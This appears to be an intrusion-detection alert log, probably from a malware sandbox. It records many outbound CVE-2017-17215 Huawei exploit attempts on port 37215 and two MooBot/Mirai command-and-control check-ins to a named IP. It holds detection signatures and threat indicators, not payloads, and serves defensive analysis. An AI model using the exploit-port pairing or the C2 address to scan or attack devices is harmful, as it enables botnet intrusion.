ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.215.59.226

Timestamp:	2024-08-01T15:36:18.278418+0200
SID:	2835222
Source Port:	50088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.30.244.45

Timestamp:	2024-08-01T15:36:32.983991+0200
SID:	2835222
Source Port:	47590
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.220.82.146

Timestamp:	2024-08-01T15:35:16.478903+0200
SID:	2835222
Source Port:	51244
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 144.126.245.42

Timestamp:	2024-08-01T15:35:21.928325+0200
SID:	2835222
Source Port:	53608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.11.44.23

Timestamp:	2024-08-01T15:36:20.307976+0200
SID:	2835222
Source Port:	49824
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.73.155.152

Timestamp:	2024-08-01T15:35:20.209523+0200
SID:	2835222
Source Port:	33348
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 132.70.185.171

Timestamp:	2024-08-01T15:35:35.196262+0200
SID:	2835222
Source Port:	53106
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.227.157.123

Timestamp:	2024-08-01T15:36:49.572143+0200
SID:	2835222
Source Port:	43096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 8.168.250.255

Timestamp:	2024-08-01T15:35:20.545310+0200
SID:	2835222
Source Port:	56862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.157.109.60

Timestamp:	2024-08-01T15:35:16.887604+0200
SID:	2835222
Source Port:	40982
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.155.38.10

Timestamp:	2024-08-01T15:36:20.304224+0200
SID:	2835222
Source Port:	36166
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.23.59.228

Timestamp:	2024-08-01T15:36:53.731801+0200
SID:	2835222
Source Port:	58238
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.126.245.167

Timestamp:	2024-08-01T15:37:00.280811+0200
SID:	2835222
Source Port:	60900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.18.26.7

Timestamp:	2024-08-01T15:36:22.456328+0200
SID:	2835222
Source Port:	47026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.185.159.142

Timestamp:	2024-08-01T15:36:44.214612+0200
SID:	2835222
Source Port:	33270
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.243.98.102

Timestamp:	2024-08-01T15:36:51.590957+0200
SID:	2835222
Source Port:	48406
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.170.96.15

Timestamp:	2024-08-01T15:35:20.208884+0200
SID:	2835222
Source Port:	55512
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.183.144.125

Timestamp:	2024-08-01T15:35:16.543076+0200
SID:	2835222
Source Port:	36242
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.0.217.249

Timestamp:	2024-08-01T15:35:56.488750+0200
SID:	2835222
Source Port:	57916
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.242.52.91

Timestamp:	2024-08-01T15:35:21.865516+0200
SID:	2835222
Source Port:	51110
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.154.48.216

Timestamp:	2024-08-01T15:35:21.878607+0200
SID:	2835222
Source Port:	59124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.59.224.155

Timestamp:	2024-08-01T15:36:18.249422+0200
SID:	2835222
Source Port:	49514
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 101.107.3.199

Timestamp:	2024-08-01T15:35:20.545269+0200
SID:	2835222
Source Port:	42898
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 113.16.222.200

Timestamp:	2024-08-01T15:35:21.938815+0200
SID:	2835222
Source Port:	41138
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.202.200.221

Timestamp:	2024-08-01T15:35:21.918388+0200
SID:	2835222
Source Port:	54542
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.190.195.114

Timestamp:	2024-08-01T15:36:53.965297+0200
SID:	2835222
Source Port:	57106
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 111.109.25.218

Timestamp:	2024-08-01T15:35:21.865131+0200
SID:	2835222
Source Port:	50214
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.9.216.205

Timestamp:	2024-08-01T15:36:00.000161+0200
SID:	2835222
Source Port:	50948
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.24.137.147

Timestamp:	2024-08-01T15:35:40.233616+0200
SID:	2835222
Source Port:	45132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.211.255.34

Timestamp:	2024-08-01T15:35:50.278599+0200
SID:	2835222
Source Port:	54240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.74.123.25

Timestamp:	2024-08-01T15:35:21.883940+0200
SID:	2835222
Source Port:	56658
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.255.151.46

Timestamp:	2024-08-01T15:36:51.697344+0200
SID:	2835222
Source Port:	40746
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.167.39.95

Timestamp:	2024-08-01T15:35:21.881552+0200
SID:	2835222
Source Port:	44458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.199.222.189

Timestamp:	2024-08-01T15:36:40.247813+0200
SID:	2835222
Source Port:	37768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.203.228.187

Timestamp:	2024-08-01T15:35:50.304355+0200
SID:	2835222
Source Port:	36464
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.72.52.203

Timestamp:	2024-08-01T15:36:14.833486+0200
SID:	2835222
Source Port:	52838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.238.235.163

Timestamp:	2024-08-01T15:37:00.047536+0200
SID:	2030490
Source Port:	45684
Destination Port:	56999
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.28.20.27

Timestamp:	2024-08-01T15:35:20.214729+0200
SID:	2835222
Source Port:	54412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.125.178.115

Timestamp:	2024-08-01T15:35:20.574990+0200
SID:	2835222
Source Port:	59172
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 19.178.184.247

Timestamp:	2024-08-01T15:36:11.950833+0200
SID:	2835222
Source Port:	50328
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.114.59.24

Timestamp:	2024-08-01T15:36:14.831311+0200
SID:	2835222
Source Port:	55008
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.138.103.245

Timestamp:	2024-08-01T15:36:51.592829+0200
SID:	2835222
Source Port:	37400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.227.247.47

Timestamp:	2024-08-01T15:35:54.405300+0200
SID:	2835222
Source Port:	58080
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 147.160.41.110

Timestamp:	2024-08-01T15:36:18.277824+0200
SID:	2835222
Source Port:	46806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.96.27.25

Timestamp:	2024-08-01T15:35:40.229438+0200
SID:	2835222
Source Port:	55406
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.130.235.100

Timestamp:	2024-08-01T15:34:57.545792+0200
SID:	2835222
Source Port:	56550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 164.63.63.103

Timestamp:	2024-08-01T15:35:16.382621+0200
SID:	2835222
Source Port:	60540
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.184.88.67

Timestamp:	2024-08-01T15:35:16.664090+0200
SID:	2835222
Source Port:	34432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.181.87.70

Timestamp:	2024-08-01T15:35:20.206627+0200
SID:	2835222
Source Port:	47634
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 89.237.165.208

Timestamp:	2024-08-01T15:36:49.677637+0200
SID:	2835222
Source Port:	52612
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 98.137.180.211

Timestamp:	2024-08-01T15:35:37.237969+0200
SID:	2835222
Source Port:	60962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.128.198.92

Timestamp:	2024-08-01T15:36:24.605577+0200
SID:	2835222
Source Port:	50146
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 53.175.217.32

Timestamp:	2024-08-01T15:36:52.685384+0200
SID:	2835222
Source Port:	44398
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.97.108.234

Timestamp:	2024-08-01T15:35:50.253699+0200
SID:	2835222
Source Port:	54100
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.238.235.163

Timestamp:	2024-08-01T15:35:54.399410+0200
SID:	2030490
Source Port:	52048
Destination Port:	56999
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.36.218.204

Timestamp:	2024-08-01T15:35:25.949278+0200
SID:	2835222
Source Port:	58222
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 81.74.154.65

Timestamp:	2024-08-01T15:36:26.572109+0200
SID:	2835222
Source Port:	43926
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 46.123.34.155

Timestamp:	2024-08-01T15:35:53.374575+0200
SID:	2835222
Source Port:	50086
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.56.153.170

Timestamp:	2024-08-01T15:35:21.876555+0200
SID:	2835222
Source Port:	60206
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.71.147.151

Timestamp:	2024-08-01T15:35:21.905940+0200
SID:	2835222
Source Port:	59754
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.170.167.93

Timestamp:	2024-08-01T15:35:53.373252+0200
SID:	2835222
Source Port:	48286
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 131.32.136.126

Timestamp:	2024-08-01T15:36:09.886012+0200
SID:	2835222
Source Port:	59710
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.245.178.41

Timestamp:	2024-08-01T15:36:51.588995+0200
SID:	2835222
Source Port:	42474
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.39.98.142

Timestamp:	2024-08-01T15:36:09.948014+0200
SID:	2835222
Source Port:	47172
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.153.44.115

Timestamp:	2024-08-01T15:36:11.949297+0200
SID:	2835222
Source Port:	33352
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.212.72.123

Timestamp:	2024-08-01T15:35:35.123131+0200
SID:	2835222
Source Port:	55356
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 9.29.51.199

Timestamp:	2024-08-01T15:35:50.305670+0200
SID:	2835222
Source Port:	54576
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 147.211.62.145

Timestamp:	2024-08-01T15:35:16.592364+0200
SID:	2835222
Source Port:	39250
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.85.120.196

Timestamp:	2024-08-01T15:35:20.209134+0200
SID:	2835222
Source Port:	32954
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.124.63.138

Timestamp:	2024-08-01T15:35:21.852122+0200
SID:	2835222
Source Port:	54792
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.193.66.242

Timestamp:	2024-08-01T15:35:33.066719+0200
SID:	2835222
Source Port:	50640
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.243.30.216

Timestamp:	2024-08-01T15:35:20.203346+0200
SID:	2835222
Source Port:	39132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.170.44.175

Timestamp:	2024-08-01T15:36:20.493282+0200
SID:	2835222
Source Port:	57476
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 18.194.167.50

Timestamp:	2024-08-01T15:35:21.878611+0200
SID:	2835222
Source Port:	56008
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.238.225.150

Timestamp:	2024-08-01T15:36:29.402902+0200
SID:	2835222
Source Port:	44346
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.237.2.174

Timestamp:	2024-08-01T15:35:20.210158+0200
SID:	2835222
Source Port:	43542
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 9.50.79.142

Timestamp:	2024-08-01T15:35:20.206459+0200
SID:	2835222
Source Port:	44610
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 66.209.241.118

Timestamp:	2024-08-01T15:35:48.347789+0200
SID:	2835222
Source Port:	34710
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.184.69.94

Timestamp:	2024-08-01T15:36:24.453302+0200
SID:	2835222
Source Port:	44260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 203.160.214.142

Timestamp:	2024-08-01T15:36:30.755471+0200
SID:	2835222
Source Port:	49598
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.41.178.101

Timestamp:	2024-08-01T15:36:35.026816+0200
SID:	2835222
Source Port:	57954
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.238.48.28

Timestamp:	2024-08-01T15:35:21.883260+0200
SID:	2835222
Source Port:	37024
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 96.182.207.160

Timestamp:	2024-08-01T15:35:32.993625+0200
SID:	2835222
Source Port:	40406
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 110.208.30.2

Timestamp:	2024-08-01T15:35:16.588866+0200
SID:	2835222
Source Port:	48036
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.137.243.167

Timestamp:	2024-08-01T15:36:39.036640+0200
SID:	2835222
Source Port:	53786
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.148.255.61

Timestamp:	2024-08-01T15:35:17.246206+0200
SID:	2835222
Source Port:	52192
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.111.174.10

Timestamp:	2024-08-01T15:35:21.909389+0200
SID:	2835222
Source Port:	48166
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.252.210.245

Timestamp:	2024-08-01T15:35:20.207086+0200
SID:	2835222
Source Port:	33316
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.42.89.4

Timestamp:	2024-08-01T15:36:16.184130+0200
SID:	2835222
Source Port:	43908
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.142.238.155

Timestamp:	2024-08-01T15:35:40.227980+0200
SID:	2835222
Source Port:	47084
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 140.59.221.250

Timestamp:	2024-08-01T15:36:14.830033+0200
SID:	2835222
Source Port:	37472
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.6.51.90

Timestamp:	2024-08-01T15:35:04.273579+0200
SID:	2835222
Source Port:	37734
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.143.77.8

Timestamp:	2024-08-01T15:35:20.203985+0200
SID:	2835222
Source Port:	41632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.169.65.163

Timestamp:	2024-08-01T15:36:22.372236+0200
SID:	2835222
Source Port:	45086
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 223.152.219.191

Timestamp:	2024-08-01T15:36:14.831655+0200
SID:	2835222
Source Port:	60880
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.240.122.214

Timestamp:	2024-08-01T15:35:37.166984+0200
SID:	2835222
Source Port:	56116
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 198.108.125.163

Timestamp:	2024-08-01T15:35:43.357179+0200
SID:	2835222
Source Port:	56356
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.163.146.154

Timestamp:	2024-08-01T15:35:45.291770+0200
SID:	2835222
Source Port:	50782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.41.194.147

Timestamp:	2024-08-01T15:35:21.936206+0200
SID:	2835222
Source Port:	60258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

